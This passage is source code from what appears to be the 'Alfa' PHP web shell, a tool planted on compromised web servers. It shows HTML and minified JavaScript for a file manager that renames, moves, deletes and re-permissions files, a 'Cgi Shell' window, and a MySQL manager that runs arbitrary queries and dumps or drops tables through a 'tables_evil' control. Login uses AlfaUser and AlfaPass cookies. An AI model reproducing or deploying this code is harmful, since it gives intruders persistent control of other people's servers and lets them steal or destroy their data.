<div id='editor' style='display:none;'><div class='editor-wrapper'><div class='editor-header'><div class='editor-path'></div><div class='editor-controller'><div class='editor-minimize' onClick='editorMinimize(\"editor\");'></div><div onClick='editorClose(\"editor\");' class='close-button'></div></div></div><div onclick='historyPanelController(this);' mode='visible' class='history-panel-controller'><<</div><div class='editor-explorer'><div class='hheader'><div class='history-clear' onclick='clearEditorHistory();'>Clear all</div><div class='hheader-text'>History</div><div class='editor-search'><input type='text' style='text-align:center;' id='search-input' placeholder='search'></div></div><div class='history-list'></div></div><div class='editor-modal'><div class='editor-body'><div class='editor-content'><div class='editor-tabs'></div><div class='editor-content-holder'></div></div></div></div></div></div>
<div id='update-content'></div>
<div id='database_window-minimized' onclick='showEditor(\"database_window\");'><div class='minimized-wrapper'><span class='options_min_badge'>0</span><div class='minimized-text' style='top: 15px;'>Database</div></div></div>
<div id='options_window-minimized' onclick='showEditor(\"options_window\");'><div class='minimized-wrapper'><span class='options_min_badge'>0</span><div style='top: 4px;' class='minimized-text'>Options</div></div></div>
<div id='editor-minimized' onclick='showEditor(\"editor\");'><div class='minimized-wrapper'><span class='options_min_badge'>0</span><div style='top: 2px;' class='minimized-text'>Editor</div></div></div>
<div id='cgiloader-minimized' onclick='showEditor(\"cgiloader\");'><div class='minimized-wrapper'><span class='options_min_badge'>0</span><div style='top: 12px;' class='minimized-text'>Cgi Shell</div></div></div>
<div id='rightclick_menu'>
  <a target='_blank' href='' name='newtab'><img src=\"http://solevisible.com/icons/menu/newtab.svg\"> Open in new tab</a>
  <a target='_blank' href='' name='link'><img src=\"http://solevisible.com/icons/menu/link.svg\"> Open file directly</a>
  <a href='javascript:void(0);' name='download'><img src=\"http://solevisible.com/icons/menu/download2.svg\"> Download</a>
  <a href='' name='view'><img src=\"http://solevisible.com/icons/menu/view.svg\"> View</a>
  <a href='javascript:void(0);' onclick='alfaSyncMenuToOpt(this);' path='' fname='' name='view_archive'><img src=\"http://solevisible.com/icons/menu/view.svg\"> View Archive</a>
  <a href='' name='edit'><img src=\"http://solevisible.com/icons/menu/edit.svg\"> Edit</a>
  <a href='javascript:void(0);' onclick='alfaPopupAction(this, \"move\");' ftype='' path='' fname='' href='' href='' name='move'><img src=\"http://solevisible.com/icons/menu/move.svg\"> Move</a>
  <a href='javascript:void(0);' onclick='alfaPopupAction(this, \"copy\");' ftype='' path='' fname='' href='' name='copy'><img src=\"http://solevisible.com/icons/menu/copy.svg\"> Copy</a>
  <a href='javascript:void(0);' onclick='alfaPopupAction(this, \"rename\");' ftype='' path='' fname='' name='rename'><img src=\"http://solevisible.com/icons/menu/rename.svg\">  Rename</a>
  <a href='javascript:void(0);' onclick='alfaPopupAction(this, \"modify\");' ftype='' path='' fname='' name='modify'><img src=\"http://solevisible.com/icons/menu/time.svg\">  Modify</a>
  <a href='javascript:void(0);' onclick='alfaPopupAction(this, \"permission\");' name='permission'><img src=\"http://solevisible.com/icons/menu/key.svg\"> Change Permissions</a>
  <a href='javascript:void(0);' onclick='alfaSyncMenuToOpt(this);' path='' fname='' name='compress'><img src=\"http://solevisible.com/icons/menu/resize.svg\"> Compress</a>
  <a href='javascript:void(0);' onclick='alfaSyncMenuToOpt(this);' path='' fname='' name='extract'><img src=\"http://solevisible.com/icons/menu/increase.svg\"> Extract</a>
  <a href='javascript:void(0);' name='delete'><img src=\"http://solevisible.com/icons/menu/delete.svg\"> Delete</a>
</div>
<div id=\"filesman-tab-full-path\"></div>
<div id='alert-area' class='alert-area'></div>
<div class='cl-popup-fixed' style='display:none;'>
	<div id='shortcutMenu-holder'>
		<div class='popup-head'></div>
			<form autocomplete='off' onSubmit='return false;'>
				<label class='old-path-lbl'></label>
				<div style='overflow: hidden;white-space: nowrap;text-overflow: ellipsis;' class='old-path-content'></div>
				<label style='margin-top:10px;' class='new-filename-lbl'>New file name</label>
				<input type='text' name='fname'>
				<div class='perm-table-holder'>
					<table>
					   <tbody>
					      <tr>
					         <td><b>Mode</b></td>
					         <td>User</td>
					         <td>Group</td>
					         <td>World</td>
					      </tr>
					      <tr>
					         <td>Read</td>
					         <td><input type='checkbox' name='ur' value='4' onclick='calcperm();'></td>
					         <td><input type='checkbox' name='gr' value='4' onclick='calcperm();'></td>
					         <td><input type='checkbox' name='wr' value='4' onclick='calcperm();'></td>
					      </tr>
					      <tr>
					         <td>Write</td>
					         <td><input type='checkbox' name='uw' value='2' onclick='calcperm();'></td>
					         <td><input type='checkbox' name='gw' value='2' onclick='calcperm();'></td>
					         <td><input type='checkbox' name='ww' value='2' onclick='calcperm();'></td>
					      </tr>
					      <tr>
					         <td>Execute</td>
					         <td><input type='checkbox' name='ux' value='1' onclick='calcperm();'></td>
					         <td><input type='checkbox' name='gx' value='1' onclick='calcperm();'></td>
					         <td><input type='checkbox' name='wx' value='1' onclick='calcperm();'></td>
					      </tr>
					      <tr>
					         <td>Permission</td>
					         <td><input style='width:60px;' type='text' name='u' maxlength='1' oninput='this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, \"u\", [\"u\"]);'></td>
					         <td><input style='width:60px;' type='text' name='g' maxlength='1' oninput='this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, \"g\", [\"g\"]);'></td>
					         <td><input style='width:60px;' type='text' name='w' maxlength='1' oninput='this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, \"w\", [\"w\"]);'></td>
					      </tr>
					   </tbody>
					</table>
				</div>

			</form>
		<div class='popup-foot'>
			<button style='background: #2b5225;' name='accept' action='' onclick='alfaPopUpDoAction(this);'></button>
			<button style='background: #9e2c2c;' onclick='d.querySelector(\".cl-popup-fixed\").style.display=\"none\";'>Cancell</button>
		</div>
	</div>
</div>";?>
<script>
function alfaMysqlApi(e,t){var a={host:mysql_cache[e.db_id].host,user:mysql_cache[e.db_id].user,pass:mysql_cache[e.db_id].pass,db:e.db_target,db_id:e.db_id};if(e.hasOwnProperty("db_info"))for(var i in e.db_info)a[i]=e.db_info[i];var l={a:alfab64("Sql_manager_api"),c_:alfab64(c_),alfa1:alfab64(JSON.stringify(a))};if(e.hasOwnProperty("post"))for(var i in e.post.hasOwnProperty("alfa2")&&"load_data"!=e.post.alfa2&&"page"!=e.post.alfa2&&"edit"!=e.post.alfa2&&"delete"!=e.post.alfa2&&(d.querySelector("#"+e.db_id+" .mysql-query-result-header .mysql-query-pager").innerHTML="",d.querySelector("#"+e.db_id+" .mysql-query-result-header .mysql-query-reporter").innerHTML=""),e.post)l[i]=alfab64(e.post[i]);var r="";for(var o in l)r+=o+"="+l[o]+"&";alfaloader(e.db_id,"block"),_Ajax(d.URL,r,function(a){alfaloader(e.db_id,"none"),t(a)},!0,e.db_id)}function alfaMysqlFilterTable(e,t){setTimeout(function(){var a="",i="",l=(a="","");if(null!=e)a=e.getAttribute("target"),i=e.getAttribute("db_id"),l=e.value;else a=t.target,i=t.db_id,l=t.value;l=new RegExp(l,"i"),d.querySelectorAll("#"+i+" "+a+" ul > li").forEach(function(e){var t=e.querySelector(".mysql_tables");if(null==t)return!1;-1==(t=t.innerText).search(l)?e.style.display="none":e.style.display="block"})},200)}function alfaMysqlFilterAllTable(e,t){var a=e.getAttribute("db_id"),i=d.querySelector("#"+a+" .mysql-tables input[name=filter_all]").value,l=d.querySelector("#"+a+" input[name=sql_count]").checked,r=[],o=[];if(d.querySelectorAll("#"+a+" .mysql-tables .list_container").forEach(function(e){var t=e.getAttribute("mode"),a=e.getAttribute("db_name");"no"==t&&r.push(a),o.push(a)}),r.length>0){if(0==i.length&&void 0===t)return!1;alfaMysqlApi({db_id:a,db_target:r[0],ajax_id:"mysql_get_all_tables",db_info:{databases:r},post:{alfa2:"load_all_tables",alfa3:l}},function(r){if(0!=r.length){for(var o in r=JSON.parse(r)){var n=o,s=d.querySelector("#"+a+" .cls-"+n);alfaMysqlMakeTblList(r[o],s,a,n,l)}void 0===t?alfaMysqlFilterTable(null,{db_id:a,target:".mysql-tables .list_container",value:i}):(e.setAttribute("mode","opened"),d.querySelector("#"+a+" .mysql-tables .parent-expander img").src="http://solevisible.com/icons/menu/b_minus.png")}})}else if(void 0===t)for(var n in alfaMysqlFilterTable(null,{db_id:a,target:".mysql-tables .list_container",value:i}),o)alfaMysqlTableMode(a,o[n],"closed");else{var s="",c=e.getAttribute("mode");for(var n in"opened"==c?(e.setAttribute("mode","closed"),s="b_plus.png"):(e.setAttribute("mode","opened"),s="b_minus.png"),o)alfaMysqlTableMode(a,o[n],c);d.querySelector("#"+a+" .mysql-tables .parent-expander img").src="http://solevisible.com/icons/menu/"+s}}function alfaMysqlTableMode(e,t,a){var i=d.querySelector("#"+e+" .cls-"+t),l="";void 0===a?(l=-1!=i.classList.value.indexOf("hide-db-tables")?"b_minus.png":"b_plus.png",i.classList.toggle("hide-db-tables")):"opened"==a?(l="b_plus.png",i.classList.add("hide-db-tables")):(l="b_minus.png",i.classList.remove("hide-db-tables")),d.querySelector("#"+e+" .cls-"+t+"-expander img").src="http://solevisible.com/icons/menu/"+l}function alfaMysqlExpander(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=e.getAttribute("sql_count"),l=d.querySelector("#"+a+" .cls-"+t);"loaded"==l.getAttribute("mode")?alfaMysqlTableMode(a,t):alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_get_tables",post:{alfa2:"load_tables",alfa3:i}},function(e){0!=e.length&&alfaMysqlMakeTblList(e=JSON.parse(e),l,a,t,i)})}function alfaMysqlTablesEvil(e){var t=e.getAttribute("target"),a=e.getAttribute("db_id"),i=e.getAttribute("mode");"checked"==i?(i=!1,e.setAttribute("mode","not")):(i=!0,e.setAttribute("mode","checked")),d.querySelectorAll("#"+a+" "+t+" input[name=tbl\\[\\]]").forEach(function(e){e.checked=i})}function alfaMysqlTablesDumpDrop(e){var t=e.getAttribute("target"),a=e.getAttribute("db_id"),i="none";"dump"==e.value&&(i="block"),d.querySelector("#"+a+" "+t+" .dump-file-holder").style.display=i}function alfaMysqlTablesDumpDropBtn(e){var t=e.getAttribute("target"),a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=[],r=d.querySelector("#"+i+" input[name=sql_count]").checked,o=d.querySelector("#"+i+" "+t),n=o.querySelector("select[name=tables_evil]").value,s=o.querySelector(".dump-file-holder input").value;d.querySelectorAll("#"+i+" "+t+" input[name=tbl\\[\\]]").forEach(function(e){e.checked&&l.push(e.value)}),l.length>0&&alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_query_evil",db_info:{tables:l,mode:n,dump_file:s},post:{alfa2:"dump_drop"}},function(e){0!=e.length&&(e=JSON.parse(e),"drop"==n?alfaMysqlMakeTblList(e,o,i,a,r):o.querySelector(".dump-file-holder").insertAdjacentHTML("beforeend","<div><a href='javascript:void(0);' onclick='g(\"FilesTools\",null,\""+s+'","download");\'><span>Download: '+s+"</span></a></div>"))})}function alfaMysqlMakeTblList(e,t,a,i,l){t.setAttribute("mode","loaded");var r='<ul><li><div class="block"><i></i><b></b></div><div><input style="padding: 0;margin-left: 11px;text-align:center;" type="text" class="db-opt-id" db_id="'+a+'" placeholder="Filter Table" target=".cls-'+i+'" onkeyup="alfaMysqlFilterTable(this);" name="filter"></div></li>';for(var o in e)null!=e[o]&&(r+="<li><div class='block'><i></i><b></b></div><div class='tables-row'><input type='checkbox' name='tbl[]' value='"+e[o].name+"'>&nbsp;<a class='db-opt-id' db_target='"+i+"' db_id='"+a+"' href='javascript:void(0);' onclick=\"alfaLoadTableData(this, '"+e[o].name+"')\"><span class='mysql_tables' style='font-weight:unset;'>"+e[o].name+"</span></a>"+(l?" <small><span style='font-weight:unset;' class='mysql_table_count'>("+e[o].count+")</span></small>":"&nbsp;")+"</div></li>");r+='</ul><div style="margin-left: 26px;margin-bottom: 10px;margin-top: 10px;"><input onchange="alfaMysqlTablesEvil(this);" db_id="'+a+'" class="db-opt-id" target=".cls-'+i+'" type="checkbox" class="db-opt-id"><select onchange="alfaMysqlTablesDumpDrop(this);" class="db-opt-id" db_id="'+a+'" target=".cls-'+i+'" class="db-opt-id" name="tables_evil" style="padding: 0;width: 100px;"><option selected>drop</option><option>dump</option></select> <button onclick="alfaMysqlTablesDumpDropBtn(this);return false;" db_id="'+a+'" class="db-opt-id" db_target="'+i+'" target=".cls-'+i+'" class="db-opt-id">Do it</button><div class="dump-file-holder" style="display:none;margin-left:20px;margin-top: 5px;"><input style="padding: 0;text-align:center;" type="text" placeholder="dump.sql" name="dump_file"></div></div>',t.innerHTML=r,d.querySelector("#"+a+" .cls-"+i+"-expander img").src="http://solevisible.com/icons/menu/b_minus.png"}function alfaMysqlQuery(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a+" textarea[name=query]").value;alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_load_query_data",db_info:{query:i},post:{alfa2:"query"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.status?e.table:"",alfaMysqlTabCtl({child:1,db_id:a,target:".mysql-query-result-content"},!0))})}function alfaMysqlReportBuilder(e,t){var a="";t.status||(a="<div><span>Error: </span><div style='padding-left: 50px;'><pre>"+t.error+"</pre></div></div>");var i="<div><span>Query:</span><div style='padding-left: 50px;'><pre>"+t.query+"</pre></div>"+a+"</div>";d.querySelector("#"+e+" .mysql-query-reporter").innerHTML=i}function alfaMysqlTablePanelCtl(e){var t=e.getAttribute("db_id"),a=(t=e.getAttribute("db_id"),d.querySelector("#"+t)),i=a.querySelector(".tables-panel-ctl");"none"==i.getAttribute("mode")?(a.querySelector(".mysql-tables").style.display="block",i.setAttribute("mode","block"),i.innerHTML="&#x3C;&#x3C;",a.querySelector(".mysql-query-results-fixed").classList.remove("mysql-query-results-fixed")):(a.querySelector(".mysql-tables").style.display="none",i.setAttribute("mode","none"),i.innerHTML="&#x3E;&#x3E;",a.querySelector(".mysql-query-results").classList.add("mysql-query-results-fixed")),i.classList.toggle("tables-panel-ctl-min")}function alfaMysqlTabCtl(e,t){var a=void 0===t?e.getAttribute("db_id"):e.db_id,i=void 0===t?e.getAttribute("target"):e.target;d.querySelectorAll("#"+a+" .mysql-query-content").forEach(function(e){e.classList.add("mysql-hide-content")}),d.querySelector("#"+a+" .mysql-query-result-tabs .mysql-query-selected-tab").classList.remove("mysql-query-selected-tab"),void 0===t?e.classList.add("mysql-query-selected-tab"):d.querySelector("#"+a+" .mysql-query-result-tabs div:nth-child("+e.child+")").classList.add("mysql-query-selected-tab"),d.querySelector("#"+a+" "+i).classList.remove("mysql-hide-content")}function alfaLoadTableData(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id");alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_load_table_data",db_info:{table:t},post:{alfa2:"load_data"}},function(e){if(0!=e.length){e=JSON.parse(e);var l="",r="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Value</th></tr>",o="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Value</th><th>Change</th></tr>",n="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Collation</th><th>Operator</th><th>Value</th></tr>",s=["int","smallint","bigint","tinyint","mediumint"],c=["longtext","text","mediumtext","tinytext"];for(var u in e.columns){var p="text";-1!=s.indexOf(e.columns[u].data_type)&&(p="number"),n+="<tr><th style='text-align: left;'>"+e.columns[u].name+"</th><td>"+e.columns[u].type+"</td><td>"+e.columns[u].collation+"</td><td><select name='"+e.columns[u].name+"'><option value='='>=</option><option value='!='>!=</option><option value='>'>&gt;</option><option value='>='>&gt;=</option><option value='<'>&lt;</option><option value='<='>&lt;=</option><option value=\"= ''\">= ''</option><option value=\"!= ''\">!= ''</option><option value='LIKE'>LIKE</option><option value='LIKE %...%'>LIKE %...%</option><option value='NOT LIKE'>NOT LIKE</option><option value='REGEXP'>REGEXP</option><option value='REGEXP ^...$'>REGEXP ^...$</option><option value='NOT REGEXP'>NOT REGEXP</option><option value='IN (...)'>IN (...)</option><option value='NOT IN (...)'>NOT IN (...)</option><option value='BETWEEN'>BETWEEN</option><option value='NOT BETWEEN'>NOT BETWEEN</option><option value='IS NULL'>IS NULL</option><option value='IS NOT NULL'>IS NOT NULL</option></select></td><td><input type='"+p+"' name='"+e.columns[u].name+"'></td></tr>";var f=alfaMysqlLoadDataType(e.columns[u].data_type);null==e.columns[u].type_value&&(e.columns[u].type_value=""),o+="<tr><th style='text-align: left;'>"+e.columns[u].name+"</th><td><select name='sel_"+e.columns[u].name+"'>"+f+"</select></td><td><input name='value_"+e.columns[u].name+"' type='text' value='"+(-1==c.indexOf(e.columns[u].data_type)?e.columns[u].type_value:"")+"'></td><td><button col_name='"+e.columns[u].name+"' tbl_name='"+t+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlAlterTbl(this);return false;'>Change</button></td></tr>";var m="";switch(e.columns[u].data_type){case"longtext":case"text":m="<textarea name='"+e.columns[u].name+"' rows='5'></textarea>";break;case"int":case"smallint":case"bigint":m="<input type='number' name='"+e.columns[u].name+"' value=''>";break;default:m="<input type='text' name='"+e.columns[u].name+"' value=''>"}r+="<tr><th style='text-align: left;'>"+e.columns[u].name+"</th><td>"+e.columns[u].type+"</td><td>"+m+"</td></tr>"}if(r+="</table><div style='margin-left:20px;'><button tbl_name='"+t+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlUpdateRow(this, \"insert\");return false;'>Insert</button></div><div class='mysql-insert-result'></div>",o+="</table><div class='mysql-structure-qres'></div>",n+="</table><div style='padding-left: 384px;margin-top: 15px;'><button tbl_name='"+t+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlSearch(this);return false;'>Search</button></div>",e.pages>0){l+="<span style='cursor:pointer;' db_id='"+i+"' onclick='alfaMysqlChangePage(this,1);'><<</span> <span> page: </span> <select tbl_name='"+t+"' db_target='"+a+"' name='mysql-q-pages' db_id='"+i+"' class='db-opt-id' onchange='alfaMysqlChangePage(this);' pages='"+e.pages+"'>";for(var b=1;b<e.pages+1;b++)l+="<option>"+b+"</option>";l+="</select><span> Of "+e.pages+"</span> <span style='cursor:pointer;' db_id='"+i+"' onclick='alfaMysqlChangePage(this,2);'>>></span>"}var y=d.querySelector("#"+i);y.querySelector(".mysql-search-area").innerHTML=n,y.querySelector(".mysql-insert-row").innerHTML=r,y.querySelector(".mysql-edit-row").innerHTML="",y.querySelector(".mysql-structure").innerHTML=o,y.querySelector(".mysql-query-result-header .mysql-query-pager").innerHTML=l,y.querySelector(".mysql-query-table").innerHTML=e.status?e.table:"",alfaMysqlTabCtl({child:1,db_id:i,target:".mysql-query-result-content"},!0),d.querySelector("#"+i+" .mysql-query-result-tabs div:nth-child(6)").style.display="none",alfaMysqlReportBuilder(i,e)}})}function alfaMysqlAlterTbl(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a),l=e.getAttribute("tbl_name"),r=e.getAttribute("col_name"),o={};o.type=i.querySelector(".mysql-structure select[name=sel_"+r+"]").value,o.input=i.querySelector(".mysql-structure input[name=value_"+r+"]").value,alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_table_alter",db_info:{table:l,column:r,alter:o},post:{alfa2:"alter"}},function(e){var t=d.querySelector("#"+a+" .mysql-structure-qres");t.innerHTML=e,t.style.display="block"})}function alfaMysqlSearch(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a),l=e.getAttribute("tbl_name"),r={};i.querySelectorAll(".mysql-search-area input, .mysql-search-area select").forEach(function(e){r.hasOwnProperty(e.name)||(r[e.name]={}),"SELECT"==e.tagName?r[e.name].opt=e.value:r[e.name].value=e.value}),alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_table_search_query",db_info:{table:l,search:r},post:{alfa2:"search"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),alfaMysqlTabCtl({child:1,db_id:a,target:".mysql-query-result-content"},!0),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.table)})}function alfaMysqlEditRow(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=(d.querySelector("#"+i),e.getAttribute("col_key")),r=e.getAttribute("key"),o=e.getAttribute("tbl_name"),n=e.getAttribute("row_id");alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_table_edit_query",db_info:{table:o,col_key:l,key:r},post:{alfa2:t}},function(e){if(0!=e.length)if(e=JSON.parse(e),"edit"==t){var s="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Value</th></tr>";for(var c in e){var u="";switch(e[c].type.tag){case"textarea":u="<textarea name='"+e[c].col+"' rows='5'>"+e[c].value+"</textarea>";break;case"input":u="<input type='"+e[c].type.type+"' name='"+e[c].col+"' value='"+e[c].value+"'>"}s+="<tr><th style='text-align: left;'>"+e[c].col+"</th><td>"+e[c].type.col_type+"</td><td>"+u+"</td></tr>"}s+="</table><div style='margin-left:20px;'><button col_key='"+l+"' key='"+r+"' tbl_name='"+o+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlUpdateRow(this, \"edit\");return false;'>Update</button></div><div class='mysql-update-result'></div>",d.querySelector("#"+i+" .mysql-edit-row").innerHTML=s,alfaMysqlTabCtl({child:6,db_id:i,target:".mysql-edit-row"},!0),d.querySelector("#"+i+" .mysql-query-result-tabs div:nth-child(6)").style.display="inline-block"}else"delete"==t&&(e.status?d.querySelector("#"+i+" .tbl_row_l"+n).remove():alert(e.error))})}function alfaMysqlTblSelectAll(e){var t=e.getAttribute("db_id");d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\\[\\]]").forEach(function(t){t.checked=e.checked})}function alfaMysqlDeleteAllSelectedrows(e){var t=e.getAttribute("db_id"),a=e.getAttribute("db_target"),i=e.getAttribute("col_key"),l=e.getAttribute("tbl_name"),r=[];if(d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\\[\\]]").forEach(function(e){e.checked&&r.push(e.value)}),0==r.length)return!1;alfaMysqlApi({db_id:t,db_target:a,ajax_id:"mysql_table_delete_all_query",db_info:{table:l,col_key:i,rows:r},post:{alfa2:"delete_all"}},function(e){if(""!=e)if((e=JSON.parse(e)).status){var a=0,i=d.querySelector("#"+t);d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\\[\\]]").forEach(function(e){e.checked&&(a=e.getAttribute("row_id"),i.querySelector(".tbl_row_l"+a).remove())})}else alert(e.error)})}function alfaMysqlUpdateRow(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=d.querySelector("#"+i),r=".mysql-insert-row",o=".mysql-insert-result",n="mysql_table_insert_query",s="insert",c={table:e.getAttribute("tbl_name")};if("edit"==t){var u=e.getAttribute("col_key"),p=e.getAttribute("key");r=".mysql-edit-row",o=".mysql-update-result",n="mysql_table_update_query",s="update",c.col_key=u,c.key=p}var f={};l.querySelectorAll(r+" input, "+r+" textarea").forEach(function(e){f.hasOwnProperty(e.name)||(f[e.name]={}),f[e.name]=e.value}),c.data=f,alfaMysqlApi({db_id:i,db_target:a,ajax_id:n,db_info:c,post:{alfa2:s}},function(e){if(0!=e.length){e=JSON.parse(e);var t=d.querySelector("#"+i+" "+o);t.style.display="block",e.status?t.innerHTML="Success...":t.innerHTML=e.error}})}function alfaMysqlLoadDataType(e){e=e.toUpperCase();var t=["INT","VARCHAR","TEXT","DATE",{key:"Numeric",vals:["TINYINT","SMALLINT","MEDIUMINT","INT","BIGINT","-","DECIMAL","FLOAT","DOUBLE","REAL","-","BIT","BOOLEAN","SERIAL"]},{key:"Date and time",vals:["DATE","DATETIME","TIMESTAMP","TIME","YEAR"]},{key:"String",vals:["CHAR","VARCHAR","-","TINYTEXT","TEXT","MEDIUMTEXT","LONGTEXT","-","BINARY","VARBINARY","-","TINYBLOB","MEDIUMBLOB","BLOB","LONGBLOB","-","ENUM","SET"]},{key:"Spatial",vals:["GEOMETRY","POINT","LINESTRING","POLYGON","MULTIPOINT","MULTILINESTRING","MULTIPOLYGON","GEOMETRYCOLLECTION"]},{key:"JSON",vals:["JSON"]}],a="",i=!1;for(var l in t)if("object"==typeof t[l]){for(var r in a+='<optgroup label="'+t[l].key+'">',t[l].vals)a+="<option"+(t[l].vals[r]!=e||i?"":" selected")+">"+t[l].vals[r]+"</option>",t[l].vals[r]==e&&(i=!0);a+="</optgroup>"}else a+="<option"+(t[l]!=e||i?"":" selected")+">"+t[l]+"</option>",t[l]==e&&(i=!0);return a}function alfaMysqlChangePage(e,t){var a=e.getAttribute("db_id"),i=0;if(void 0!==t){e=d.querySelector("#"+a+" select[name=mysql-q-pages]");var l=parseInt(e.getAttribute("pages"));if(i=parseInt(e.value),1==t?--i:++i,0==i||l<i)return!1;e.value=i}else i=e.value;var r=e.getAttribute("db_target"),o=e.getAttribute("tbl_name");alfaMysqlApi({db_id:a,db_target:r,ajax_id:"mysql_table_change_page",db_info:{table:o,page:i},post:{alfa2:"page"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.table)})}function alfaRemoveCookie(e){document.cookie=e+"=;Max-Age=0; path=/;"}function alfaLogOut(){alfaRemoveCookie("AlfaUser"),alfaRemoveCookie("AlfaPass"),location.reload()}var alfaAlertBox=function(e,t){this.types={success:{class:"alert-success",icon:"http://solevisible.com/icons/menu/check-mark1.svg"},error:{class:"alert-error",icon:"http://solevisible.com/icons/menu/warning.svg"}},this.show=function(a){if(""===a||null==a)throw'"msg parameter is empty"';var i=document.querySelector(e),l=document.createElement("DIV"),r=document.createElement("DIV"),o=document.createElement("DIV"),n=document.createElement("A"),s=document.createElement("div"),c=document.createElement("IMG"),d=this;if(s.style.display="inline-block",s.style.marginRight="10px",r.style.display="inline-block",o.classList.add("alert-content"),o.innerText=a,n.classList.add("alert-close"),n.setAttribute("href","#"),l.classList.add("alert-box"),c.src=this.types[t.type].icon,c.style.width="30px",s.appendChild(c),l.appendChild(s),t.hasOwnProperty("title")){var u=document.createElement("DIV");u.classList.add("alert-content-title"),u.innerText=t.title,r.appendChild(u)}if(r.appendChild(o),l.appendChild(r),t.hideCloseButton&&void 0!==t.hideCloseButton||l.appendChild(n),t.hasOwnProperty("type")&&l.classList.add(this.types[t.type].class),i.appendChild(l),n.addEventListener("click",function(e){e.preventDefault(),d.hide(l)}),!t.persistent)var p=setTimeout(function(){d.hide(l),clearTimeout(p)},t.closeTime)},this.hide=function(e){e.classList.add("hide");var t=setTimeout(function(){e.parentNode.removeChild(e),clearTimeout(t)},500)}};function alfaShowNotification(e,t,a,i,l){void 0===a&&(a="success"),void 0===i&&(i=!1),void 0===l&&(l=1e4);var r={closeTime:l,persistent:i,type:a,hideCloseButton:!1};void 0!==t&&(r.title=t),new alfaAlertBox("#alert-area",r).show(e)}function alfaSyncMenuToOpt(e,t){var a="",i="",l=null;void 0!==t?(a="view_archive",i=e,l=location):(a=e.name,i=e.getAttribute("fname"),l=e),"extract"==a?(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=deziper",g("deziper",null,"","",c_+"/"+i),d.querySelector(".opt-title").innerHTML="DeCompressor"):"compress"==a?(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=ziper",g("ziper",null,"","",c_+"/"+i),d.querySelector(".opt-title").innerHTML="Compressor"):"view_archive"==a&&(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=archive_manager",g("archive_manager",null,"",c_+"/"+i,""),d.querySelector(".opt-title").innerHTML="Archive Manager")}function doFilterName(e){var t="#filesman_holder_"+alfa_current_fm_id;setTimeout(function(){var a=new RegExp(e.value,"i");d.querySelectorAll(t+" .fmanager-row").forEach(function(e){-1==e.querySelector(".main_name").getAttribute("fname").search(a)?e.style.display="none":e.style.display="table-row"})},100)}function sortBySelectedValue(e,t){setCookie(t,e.options[e.selectedIndex].value,2012),g("FilesMan",c_)}function loadPopUpDatabase(e,t,a){if(console.log(t),$("database_window").style.display="block",void 0===t){try{d.querySelector(".sql-content.sql-active-content").classList.remove("sql-active-content")}catch(e){}try{d.querySelector(".sql-tabname.sql-active-tab").classList.remove("sql-active-tab")}catch(e){}try{d.querySelector(".sql-tabs .sql-newtab").remove()}catch(e){}var i="id_db_"+getRandom(10);d.querySelector("#database_window .content_options_holder .sql-contents").insertAdjacentHTML("afterbegin",'<div id="'+i+'" class="sql-content sql-active-content">'+e+"</div>"),d.querySelector("#database_window .content_options_holder .sql-tabs").insertAdjacentHTML("beforeend",'<div id="tab_'+i+'" opt_id="'+i+'" class="sql-tabname sql-active-tab" onclick="dbTabController(this);"><span style="font-weight:unset;">New DB Connection</span> <img opt_id="'+i+'" onclick="closeDatabase(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div><div class="sql-newtab" onclick="alfa_can_add_opt=true;g(\'sql\',null,\'\',\'\',\'\');" style="background-color:#800000;"><span style="font-weight:unset;">New Tab +</span></div>'),$(i).querySelectorAll(".db-opt-id").forEach(function(e){e.setAttribute("db_id",i)});try{$(i).querySelector(".getconfig").setAttribute("base_id",i)}catch(e){}return i}$(t).innerHTML=e;var l=$("tab_"+t);null!=l&&((-1==l.classList.value.indexOf("sql-active-tab")||database_window_is_minimized)&&(l.classList.add("tab-is-done"),alfaShowNotification("proccess is done...","DB: "+l.innerText)),database_window_is_minimized&&alfaUpdateOptionsBadge("database_window")),void 